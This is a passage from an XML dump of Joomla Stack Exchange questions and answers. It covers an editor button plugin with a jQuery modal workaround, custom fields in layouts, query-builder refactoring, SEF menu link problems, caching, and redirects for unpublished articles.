&lt;code&gt;$button-&amp;gt;link&lt;/code&gt; in the button object and in Modal object is created the way that in any case the defined final &lt;code&gt;$link&lt;/code&gt; will be concatenated with 'Uri::base()'. You cannot avoid that. Here is how a button link is defined finally if you try to give a path to your layout:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$link    = ($button-&amp;gt;get('link')) ? Uri::base() . $button-&amp;gt;get('link') : null;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And that is why @Rudolf has heavy headaches many days ago. He just wanted to refresh his plugin and tried to add his button to an editor with a &amp;quot;button plugin&amp;quot;. Yes, sure, good luck for that :)&lt;/p&gt;&#xA;&lt;p&gt;Changing the JObject to an anonymous PHP Object is easy and that way it won't be deprecated for a long time. It does not give any advantage in function but at least your plugin will not go break on JObject after a time. The &lt;code&gt;$button&lt;/code&gt; object only use a &lt;code&gt;get()&lt;/code&gt; function, nothing else, so if you just define a button this way, you cannot really go into trouble:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        $button = new Class&#xA;        {&#xA;            public function get($property, $default = null)&#xA;            {&#xA;                if (isset($this-&amp;gt;$property))&#xA;                {&#xA;                    return $this-&amp;gt;$property;&#xA;                }&#xA;&#xA;                return $default;&#xA;            }&#xA;        };&#xA;&#xA;        // $link = 'index.php?option=com_content&amp;amp;amp;view=article&amp;amp;amp;layout=mylayout&amp;amp;amp;tmpl=component&amp;amp;amp;'&#xA;        // . Session::getFormToken() . '=1&amp;amp;amp;editor=' . $name;&#xA;        &#xA;        $button-&amp;gt;modal = true;&#xA;        $button-&amp;gt;class = 'btn btn-secondary mybutton';&#xA;        // $button-&amp;gt;link = $link; // this is the problematic part&#xA;        $button-&amp;gt;onclick = &amp;quot;mybuttonclick();&amp;quot;;&#xA;        $button-&amp;gt;text = Text::_('MY BUTTON MINE');&#xA;        $button-&amp;gt;name = 'file-add';&#xA;        $button-&amp;gt;options = array(&#xA;            'height'     =&amp;gt; '300px',&#xA;            'width'      =&amp;gt; '800px',&#xA;            'bodyHeight' =&amp;gt; '70',&#xA;            'modalWidth' =&amp;gt; '80',&#xA;        );&#xA;&#xA;        return $button;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;This is the very easy part.&lt;/strong&gt; But if you define a &lt;code&gt;$link&lt;/code&gt; in the editor-xtd plugin, you can only go to the administrator directory for your Modal layout. So this is quite a shame for a button plugin in Joomla in 2019. It’s not a bug and it’s also true that it can be due to security reason just to not let people to call a button or a modal from external sources (as probably many have done that) and the site can be hacked via this button path. However, in this fashion, It only can work well, if someone really create a component (totally redundantly for a simple plugin), or create an &lt;strong&gt;ajax call&lt;/strong&gt; to a Layout file and can call it that way from almost anywhere (at least we hope so).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;ENDING THE LONG STORY&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I don't think anybody will read this long story but anyway. As I see Rudolf is a quite busy guy, so giving him an advice to create a component would not be too fair with him, as he just wanted to get his button back, nothing else ;) which has been ticking and clicking in the last ten years. And it's true that he has a component too and he could create a view for that and a layout in the admin part of that component, but He is not a Joomla extension developer to waste his time for that. Finally I had to realize that the long story can be solved (now it's obvious) with few lines of jQuery code and Rudolf's Modal layout can stay at the same place &lt;strong&gt;in the plugin folder&lt;/strong&gt; where it was in the last decade or so. So in the main plugin file a short jQuery should be inserted and the whole story is closed. And he already has a short javascript inserted in his code so nothing new here. This is how the &lt;strong&gt;onDisplay&lt;/strong&gt; function should start:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onDisplay($name)&#xA;    {&#xA;&#xA;        // we have to add this short script here&#xA;        $document = JFactory::getDocument();&#xA;        $document-&amp;gt;addScriptDeclaration('&#xA;        &#xA;        $(document).ready(function(){&#xA;        &#xA;            alert(&amp;quot;This script is running well&amp;quot;);&#xA;            let myurl = &amp;quot;/plugins/editors-xtd/editorextdmine/layouts/mylayout.php&amp;quot;;&#xA;            let dataframeval = \'&amp;lt;iframe class=&amp;quot;iframe&amp;quot; src = &amp;quot;/plugins/editors-xtd/editorextdmine/layouts/mylayout.php&amp;quot; name = &amp;quot;MY BUTTON MINE&amp;quot; height = &amp;quot;300px&amp;quot; width = &amp;quot;800px&amp;quot; &amp;gt;&amp;lt;/iframe &amp;gt;\'           &#xA;            &#xA;            $(&amp;quot;#MYBUTTONMINEModal&amp;quot;).attr({&#xA;                                    &amp;quot;data-url&amp;quot;: myurl,&#xA;                                    &amp;quot;data-iframe&amp;quot;: dataframeval ,&#xA;                                    });           &#xA;          &#xA;        });          &#xA;                &#xA;        ');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This short code actually changing two iframe attributes which is quite wrongfully generated by the Joomla Button Modal layout file and that caused this stupid problem. The button &lt;code&gt;#id&lt;/code&gt; and the &lt;code&gt;url value&lt;/code&gt; has to be changed to customized values and that is about it.&lt;/p&gt;&#xA;&lt;p&gt;And the usual visual just to show that this script is working in Joomla 4 Modal loading in the editor with a custom button, loading the layout from the plugin's layouts folder:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3jdD5.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3jdD5.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2019-02-07T19:37:40.823" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24195" PostTypeId="1" CreationDate="2019-02-02T09:43:57.283" Score="2" ViewCount="520" Body="&lt;p&gt;I have created some custom fields in my Joomla article from backend&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;templates/name-template/html/com_content/article/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and use this code for load custom fields at joomla article&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$context = 'com_content.article';&#xA;$article = $this-&amp;gt;item;&#xA;&#xA;//use the field helper class to get the fields&#xA;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;$fields = FieldsHelper::getFields($context, $article, true);&#xA;// Added so as to access fields by their name&#xA;&#xA;// GET CUSTOM FIELDS&#xA;foreach($fields as $field) {&#xA;    $fields[$field-&amp;gt;name] = $field;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and use this code for fetch&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo ($fields['name-field']-&amp;gt;value); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now I want to fetch custom fields in Layouts in Joomla&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;templates/name-template/html/layouts/name-folder&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but code above not work for load custom fields&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and load layouts with this code at Joomla article default.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JLayoutHelper::render('name-folder.name-file', array('item' =&amp;gt; $this-&amp;gt;item)); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything is right, but the custom fields not showing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to show custom fields at layouts?&lt;/p&gt;&#xA;" OwnerUserId="9530" LastEditorUserId="12352" LastEditDate="2019-02-02T09:50:56.783" LastActivityDate="2019-02-02T09:50:56.783" Title="fetch article custom fields in Layouts" Tags="|joomla-3.x|custom-field|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24196" PostTypeId="2" ParentId="9485" CreationDate="2019-02-02T11:43:11.833" Score="0" Body="&lt;p&gt;To test my suggested code-refactor, I'd need access to your table structures and a fair chunk of sample rows.  I'll take a stab at it anyway...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, you should perform 1 select query to isolate all rows to be processed.  By including the &lt;code&gt;class&lt;/code&gt; and &lt;code&gt;year&lt;/code&gt; values in your qualifying result set, you will be able to construct a single batch of updates and a single batch of inserts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keeping total trips to the database minimal is certainly one instance of best practices.  My snippet will make 1 trip if there are no qualifying rows, and 3 trips if there are qualifying rows.  Your originally code was looking to make &lt;em&gt;N&lt;/em&gt;*3 trips to the database.  My refactor is a MAJOR performance improvement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code is not tested (...if anyone spots a mistake please comment):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try {&#xA;    // generate result set of qualifying rows which need to be updated and inserted&#xA;    $db = JFactory::getDBO();&#xA;    $select_query = $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select($db-&amp;gt;qn([&quot;a.sid&quot;, &quot;a.class&quot;, &quot;a.year&quot;]))&#xA;        -&amp;gt;from(&quot;#__log a&quot;)&#xA;        -&amp;gt;innerJoin(&quot;#__student b ON a.sid = b.sid&quot;)&#xA;        -&amp;gt;where([&#xA;            &quot;a.pas = 0&quot;,&#xA;            &quot;a.stops = 0&quot;,&#xA;            &quot;b.id IN (&quot; . implode(',', array_map(function($n){return (int)$n;}, $pks)) . &quot;)&quot;  // just in case $pks is not secure&#xA;        ]);&#xA;    // don't show rendered queries to the public&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;&amp;lt;div&amp;gt;Rendered Select Query&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;&quot; . $select_query-&amp;gt;dump() . &quot;&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&quot;, 'notice');&#xA;    $db-&amp;gt;setQuery($select_query);&#xA;&#xA;    if (!$log_rows = $db-&amp;gt;loadAssocList()) {&#xA;        &quot;No qualifying student logs to process&quot;;&#xA;    } else {&#xA;        $insert_query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;insert('#__log')&#xA;            -&amp;gt;columns($db-&amp;gt;qn([&quot;class&quot;, &quot;year&quot;, &quot;sid&quot;, &quot;prmoted&quot;]));&#xA;&#xA;        foreach ($log_rows as $row) {  // generate batched data for just two total queries&#xA;            $update_ids[] = (int)$row['sid'];&#xA;            $insert_query-&amp;gt;values((1 + $row['class']) . &quot;, &quot; . (1 + $row['year']) . &quot;, &quot; . (int)$row['sid'] . &quot;, 1&quot;);&#xA;        }&#xA;&#xA;        $update_query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;update(&quot;#__log&quot;)&#xA;            -&amp;gt;set(&quot;pas = 1&quot;)&#xA;            -&amp;gt;where(&quot;sid IN (&quot; . implode(&quot;,&quot;, $update_ids) . &quot;)&quot;);&#xA;&#xA;        // don't show rendered queries to the public&#xA;        JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;&amp;lt;div&amp;gt;Rendered Update Query&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;&quot; . $update_query-&amp;gt;dump() . &quot;&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&quot;, 'notice');&#xA;        $db-&amp;gt;setQuery($update_query);&#xA;        $db-&amp;gt;execute();&#xA;        JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;&amp;lt;div&amp;gt;&quot; . $db-&amp;gt;getAffectedRows() . &quot; Rows Of Data Updated&quot;, 'success');&#xA;&#xA;        // don't show rendered queries to the public&#xA;        JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;&amp;lt;div&amp;gt;Rendered Insert Query&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;&quot; . $insert_query-&amp;gt;dump() . &quot;&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&quot;, 'notice');&#xA;        $db-&amp;gt;setQuery($insert_query);&#xA;        $db-&amp;gt;execute();&#xA;        JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;&amp;lt;div&amp;gt;&quot; . $db-&amp;gt;getAffectedRows() . &quot; Rows Of Data Inserted&quot;, 'success');&#xA;    }&#xA;} catch (Exception $e) {  // this will halt the execution within the try block as soon as something errs&#xA;    // don't show actual error message to public&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Query Syntax Error: &quot; . $e-&amp;gt;getMessage(), 'error');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-02-09T06:40:01.720" LastActivityDate="2019-02-09T06:40:01.720" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24197" PostTypeId="1" AcceptedAnswerId="24198" CreationDate="2019-02-02T22:57:06.510" Score="1" ViewCount="69" Body="&lt;p&gt;&lt;a href=&quot;https://softwareliberopinerolo.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;This is the site&lt;/a&gt; I'm talking about. If you click any menu item, you reach the correct page, but the page shows up garbled and the page URL is much longer than it should be, including categories names that the page does not even belong to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if I login into the backend and, while I'm logged in, I reload the main front page, then the menu links change (they become the normal &quot;alias&quot; specified in the menu item options) and the respective pages load correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as I logout from the backend and reload the front page, the links become incorrect again and the pages become garbled again, just as you can see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what to google for. Joomla! is updated to the latest version, it has SEF URLs active and SEF URLs rewriting active, along with the provided &lt;code&gt;.htaccess&lt;/code&gt; file and mod_rewrite enabled (but when the links are incorrect, they even include &lt;code&gt;index.php&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already tried flushing all caches (expired and not expired) and unlocked everything in the global check-in, to no avail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue?&lt;/p&gt;&#xA;" OwnerUserId="8931" LastActivityDate="2019-02-10T11:03:09.130" Title="Menu links working only for logged in users" Tags="|menu-item|sef|authentication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24198" PostTypeId="2" ParentId="24197" CreationDate="2019-02-03T00:06:31.353" Score="2" Body="&lt;p&gt;It's probably best to run a backup before making any changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SEF&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To narrow down the problem, try disabling URL Rewriting and SEF and renaming &lt;code&gt;.htaccess&lt;/code&gt; to &lt;code&gt;.htaccess.old&lt;/code&gt;. If this helps, try re-enabling the default .htaccess file, then SEF and then URL Rewriting, clearing the cache and checking the website after each step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Clear Cache&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clear the Joomla cache to ensure you are looking at the latest version of the website. Also clear any server side or other cache such as SiteGround Dynamic Cache or LiteSpeed cache if these are enabled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Turn off caching&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The different cachings of the site can cause conflicts. In order to check whether the problem comes from that, turn them off (all of them if needed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update Everything&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try updating Joomla and all third party extensions to the latest versions as a general troubleshooting step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Third Party Extensions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is still no solution, try temporarily disabling all third party extensions. If that helps, re-enable third party extensions one by one to see if the problem is associated with a particular third party extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hosting&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try creating a fresh install of Joomla in a sub-directory or similar to see if there is a problem with the hosting. Alternatively, backup the website and install to an alternative host to see if this makes any difference. You can create &lt;a href=&quot;https://www.cloudaccess.net/joomla/free-hosting.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;a free hosting account with CloudAccess&lt;/a&gt; for testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reinstall Joomla Core Files&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, try the &quot;Reinstall Joomla core files&quot; option in Joomla Update.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="12524" LastEditDate="2019-02-10T11:03:09.130" LastActivityDate="2019-02-10T11:03:09.130" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="24199" PostTypeId="2" ParentId="4230" CreationDate="2019-02-03T01:22:20.773" Score="1" Body="&lt;p&gt;To fully embrace the Joomla Query Builder methods AND leverage the result set row indices to present the counter, here is my suggested snippet...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select([&quot;headline&quot;, &quot;image&quot;, &quot;copy&quot;, &quot;source&quot;])&#xA;    -&amp;gt;from(&quot;#__createalist_items&quot;)&#xA;    -&amp;gt;where(&quot;heading = &quot; . (int)$this-&amp;gt;item-&amp;gt;id);&#xA;$db-&amp;gt;setQuery($query);&#xA;$orderitems = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While &lt;code&gt;SOURCE&lt;/code&gt; is a MySQL keyword, it is not a RESERVED keyword so it does not need to be wrapped in backticks.  For that matter, none of the columns need &lt;code&gt;$db-&amp;gt;quoteName()&lt;/code&gt; applied to them; likewise with the table name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there is only one table being referenced, a table alias is unnecessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code displaying the data &lt;em&gt;could&lt;/em&gt; be written like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;feedList&quot;&amp;gt;&#xA;    &amp;lt;?php &#xA;    foreach ($orderitems as $index =&amp;gt; $item) { ?&amp;gt;&#xA;        &amp;lt;div class=&quot;feedItem&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;number&quot;&amp;gt; &amp;lt;?=($index + 1)?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;headline&quot;&amp;gt; &amp;lt;?=$item-&amp;gt;headline?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;image&quot;&amp;gt; &amp;lt;?=$item-&amp;gt;image?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;copy&quot;&amp;gt; &amp;lt;?=$item-&amp;gt;copy?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;source&quot;&amp;gt; &amp;lt;?=$item-&amp;gt;source?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php&#xA;    } ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or without repeatedly bouncing in and out if php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;feedList&quot;&amp;gt;&#xA;    &amp;lt;?php &#xA;    foreach ($orderitems as $index =&amp;gt; $object) {&#xA;        echo &quot;&amp;lt;div class=\&quot;feedItem\&quot;&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;div class=\&quot;number\&quot;&amp;gt; &quot; , ($index + 1) , &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;            foreach ($object as $prop =&amp;gt; $val) {&#xA;                echo &quot;&amp;lt;div class=\&quot;{$prop}\&quot;&amp;gt; {$val}&amp;lt;/div&amp;gt;&quot;;&#xA;            }&#xA;        echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;    } ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-02-03T01:22:20.773" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24201" PostTypeId="2" ParentId="1" CreationDate="2019-02-03T13:49:10.573" Score="1" Body="&lt;p&gt;I'll offer my version of the snippet then explain my justification and include quotes from the &lt;a href=&quot;https://developer.joomla.org/coding-standards/php-code.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Coding Standards manual&lt;/a&gt; (which will be quoteblock formatted).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$subquery = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select(&quot;checkin&quot;)&#xA;    -&amp;gt;from(&quot;#__sub_table&quot;)&#xA;    -&amp;gt;where(&quot;subTest = 1&quot;);&#xA;&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select(&quot;*&quot;)&#xA;    -&amp;gt;from(&quot;#__table&quot;)&#xA;    -&amp;gt;where([&#xA;        &quot;state = 1&quot;,&#xA;        &quot;subCheckIn IN ({$subQuery})&quot;&#xA;    ])&#xA;    -&amp;gt;order(&quot;ordering&quot;);&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Use Query chaining to connect a number of query methods, one after the other, with each method returning an object that can support the next method, This improves readability and simplifies the resulting code.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I write the innermost queries first and progress to the outermost query.  This allows me chain all query building methods directly to the &lt;code&gt;getQuery()&lt;/code&gt; method.  Effectively, the variable name is only written once while building the individual query.&lt;br&gt;&#xA;Here's &lt;a href=&quot;https://joomla.stackexchange.com/a/22916/12352&quot;&gt;a terrific example of some heavy query nesting&lt;/a&gt; (when I thought it was cute to line up the chaining arrows).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I try to avoid making multiple &lt;code&gt;select()&lt;/code&gt; and/or &lt;code&gt;where()&lt;/code&gt; calls within the same query because I have seen it &lt;a href=&quot;https://joomla.stackexchange.com/q/23512/12352&quot;&gt;lead to the confusion of less experienced developers&lt;/a&gt;.  Because these methods accept arrays, I find it more readable and better coding practice to employ them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;and finally the most controversial topic...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Table names and table column names should always be enclosed in the quoteName() method to escape the table name and table columns.&#xA;  Field values checked in a query should always be enclosed in the quote() method to escape the value before passing it to the database. Integer field values checked in a query should also be type cast to (int).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am very conflicted on this stance.  When I first came to Joomla last year, I thought, I'm not going to make useless calls (no benefit to the stability, security, readability of the query) on static values! However, my employer likes the idea of toeing the Joomla line, and I have to admit that I generally have a high appreciation for the rules, so I have been hosing down my queries with &lt;code&gt;quote()&lt;/code&gt;, &lt;code&gt;(int)&lt;/code&gt;, and &lt;code&gt;quoteName()&lt;/code&gt; which also means heaps of string concatenation (all properly spaced). The end results of my work being horrendously bloated query blocks which even I have a hard time eyeballing.  The worst/longest lines that don't lend themselves to vertical stacking are the &lt;code&gt;join()&lt;/code&gt; calls because of the tablename, the alias, &lt;code&gt;ON&lt;/code&gt;, then one or more conditions which may or may not require quoting. &lt;strong&gt;I can appreciate that this policy is implemented with security in mind for novice developers, but I sure would like it if this policy was somehow tempered with the sensibility that not all Joomla coders are ignorant copy-pasters.&lt;/strong&gt;  I mean, have a look at how clean and brief the code looks without the needless calls.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As for the mopping up:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I nearly never use &lt;code&gt;*&lt;/code&gt; in my SELECT clauses&lt;/li&gt;&#xA;&lt;li&gt;I don't ever call &lt;code&gt;__toString()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;I don't quote integers, I cast them as integers&lt;/li&gt;&#xA;&lt;li&gt;I don't write &lt;code&gt;ASC&lt;/code&gt; because that is the default sorting direction&lt;/li&gt;&#xA;&lt;li&gt;I make every effort to not use mysql keywords when creating new table names and column names&lt;/li&gt;&#xA;&lt;li&gt;As a matter of personal preference I tend to use double quoting on my method's string arguments to maintain uniformity, distinguish from mysql's single quoting, and so that I can enjoy variable interpolation which I typical write with &quot;&lt;a href=&quot;https://secure.php.net/manual/en/language.types.string.php#language.types.string.parsing&quot; rel=&quot;nofollow noreferrer&quot;&gt;complex syntax&lt;/a&gt;&quot;.&lt;/li&gt;&#xA;&lt;li&gt;I use informative variable names and commenting to aid in the readability of my nested queries, and my code generally&lt;/li&gt;&#xA;&lt;li&gt;I test my code before it leaves my custody&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-02-03T13:49:10.573" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24202" PostTypeId="2" ParentId="22128" CreationDate="2019-02-03T14:26:52.047" Score="-1" Body="&lt;p&gt;For me the problem was the text that I was using . It wasn't registering changes to the css file and that has nothing to do with the cache . You only need to change the text editor &lt;/p&gt;&#xA;" OwnerUserId="13304" LastActivityDate="2019-02-03T14:26:52.047" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24203" PostTypeId="2" ParentId="22657" CreationDate="2019-02-04T08:30:20.523" Score="0" Body="&lt;p&gt;You cannot control the cache of a file that is loaded from another server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want cache analytics.js from &lt;a href=&quot;https://www.google-analytics.com/analytics.js&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.google-analytics.com/analytics.js&lt;/a&gt;, you need to load it from the server where your site is hosted - not from Google.&#xA;If you do, remember to make a CRON JOB on the host to update the file continuously - eg. Twice a day&lt;/p&gt;&#xA;" OwnerUserId="11136" LastActivityDate="2019-02-04T08:30:20.523" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24204" PostTypeId="1" CreationDate="2019-02-04T11:53:11.373" Score="0" ViewCount="165" Body="&lt;p&gt;I am wondering if where is any way in joomla to solve following issue:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I am having URLs (articles) which may have been externally linked&lt;/li&gt;&#xA;&lt;li&gt;Now I want to disable this links (unpublish)&lt;/li&gt;&#xA;&lt;li&gt;but if I unpublish I loose a backlink&lt;/li&gt;&#xA;&lt;li&gt;so I would like to have a option in Joomla to have a fallback for specific sub-URLs if they report a 404 to redirect them to the upper category menu-link&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there any common plugin or even a standard of joomla available?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For more clearance out of the comments here some examples:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the old link &lt;a href=&quot;https://www.laendle-web.de/blog/megatrend-google-sprachsuche&quot; rel=&quot;nofollow noreferrer&quot;&gt;sprachsuche google&lt;/a&gt;&#xA;this was changed to &lt;a href=&quot;https://www.laendle-web.de/blog/megatrend-google-sprachsuche-und-apple-siri&quot; rel=&quot;nofollow noreferrer&quot;&gt;sprachsuche google und siri&lt;/a&gt;&#xA;this is the simple case there the URL only changed and I can handle it via a simple redirect and for this cases the redirect component is fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I have a URL, which is non accessible (since protected or outdated) e.g. job posts with a limited valid time like &lt;a href=&quot;https://www.laendle-web.de/stellenangebote/2016-webdesign-stuttgart&quot; rel=&quot;nofollow noreferrer&quot;&gt;webdesign stuttgart&lt;/a&gt; which points to a 404. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I have a lot of such URLs, I would like to have a sort of redirect component, which detects such outdated links and gives me a option to redirect them with a pattern to the category page. Something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if ((status==404) &amp;amp;&amp;amp; (article-publishing==disabled)) redirect-301 to &lt;a href=&quot;https://www.laendle-web.de/karriere&quot; rel=&quot;nofollow noreferrer&quot;&gt;karriere&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Means I keep all links, and the content is matching to the link-visitor by ending on a carrer page. Have multiple such scenarios, but this is the easiest to explain.&#xA;Of course could now go into the redirect component to handle all links manually. But this is only detected if someone checks it intentionally. I would like to have a sort of default behavior for the redirects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope I could clarify the things now better?&lt;/p&gt;&#xA;" OwnerUserId="13241" LastEditorUserId="13241" LastEditDate="2019-02-14T18:22:30.613" LastActivityDate="2020-05-01T14:01:15.167" Title="Any way to redirect (301) pages for unpublished articles/links (404)?" Tags="|plugin|redirect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
